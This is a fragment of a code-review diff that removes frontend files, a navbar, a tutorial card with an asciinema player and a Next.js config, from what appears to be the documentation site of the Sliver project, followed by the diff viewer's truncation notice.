onPress={() => {
|
||||
window.open("https://github.com/BishopFox/sliver", "_blank");
|
||||
}}
|
||||
>
|
||||
<FontAwesomeIcon icon={faGithub} />
|
||||
</Button>
|
||||
</NavbarContent>
|
||||
</Navbar>
|
||||
);
|
||||
}
|
||||
@@ -1,75 +0,0 @@
|
||||
import { Button, Card, CardFooter, CardHeader } from "@nextui-org/react";
|
||||
import AsciinemaPlayer from "./asciinema";
|
||||
|
||||
import { faChevronRight } from "@fortawesome/free-solid-svg-icons";
|
||||
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||
import styles from "./TutorialCard.module.css";
|
||||
|
||||
export type TutorialCardCardProps = {
|
||||
name: string;
|
||||
description: string;
|
||||
|
||||
asciiCast: string;
|
||||
rows?: string;
|
||||
cols?: string;
|
||||
idleTimeLimit?: number;
|
||||
|
||||
italicDescription?: boolean;
|
||||
onPress?: () => void;
|
||||
showButton?: boolean;
|
||||
buttonText?: string;
|
||||
};
|
||||
|
||||
export default function TutorialCard(props: TutorialCardCardProps) {
|
||||
return (
|
||||
<Card isFooterBlurred>
|
||||
<CardHeader className="absolute z-10 top-1 flex-col items-end">
|
||||
<p className="text-md text-white/70 uppercase font-bold">
|
||||
{props.name}
|
||||
</p>
|
||||
</CardHeader>
|
||||
|
||||
<div className={styles["hide-control-bar"]}>
|
||||
<AsciinemaPlayer
|
||||
src={props.asciiCast}
|
||||
rows={props.rows ? props.rows : "18"}
|
||||
cols={props.cols ? props.cols : "75"}
|
||||
idleTimeLimit={props.idleTimeLimit ? props.idleTimeLimit : 2}
|
||||
preload={true}
|
||||
autoPlay={true}
|
||||
loop={true}
|
||||
/>
|
||||
</div>
|
||||
|
||||
<CardFooter className="absolute bg-black/40 bottom-0 z-100 border-t-1 border-default-600 dark:border-default-100">
|
||||
<div className="flex w-full items-center">
|
||||
<p
|
||||
className={
|
||||
props.italicDescription
|
||||
? "text-xs text-white/80 italic"
|
||||
: "text-xs text-white/80"
|
||||
}
|
||||
>
|
||||
{props.description}
|
||||
</p>
|
||||
|
||||
{props.showButton ? (
|
||||
<div className="justify-items-end">
|
||||
<Button
|
||||
variant="ghost"
|
||||
color="warning"
|
||||
size="sm"
|
||||
onPress={props.onPress}
|
||||
>
|
||||
{props.buttonText ? props.buttonText : "Read Tutorial"}{" "}
|
||||
<FontAwesomeIcon icon={faChevronRight} />
|
||||
</Button>
|
||||
</div>
|
||||
) : (
|
||||
<></>
|
||||
)}
|
||||
</div>
|
||||
</CardFooter>
|
||||
</Card>
|
||||
);
|
||||
}
|
||||
@@ -1,19 +0,0 @@
|
||||
/** @type {import('next').NextConfig} */
|
||||
const nextConfig = {
|
||||
output: 'export',
|
||||
reactStrictMode: true,
|
||||
images: {
|
||||
unoptimized: true,
|
||||
},
|
||||
experimental: {
|
||||
scrollRestoration: true,
|
||||
},
|
||||
webpack: (config, { isServer }) => {
|
||||
if (isServer) {
|
||||
require('./prebuild/generate-docs');
|
||||
}
|
||||
return config;
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = nextConfig;
|
||||
Generated
-8578
File diff suppressed because it is too large.
Load diff
Loaded 100 of 4802 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user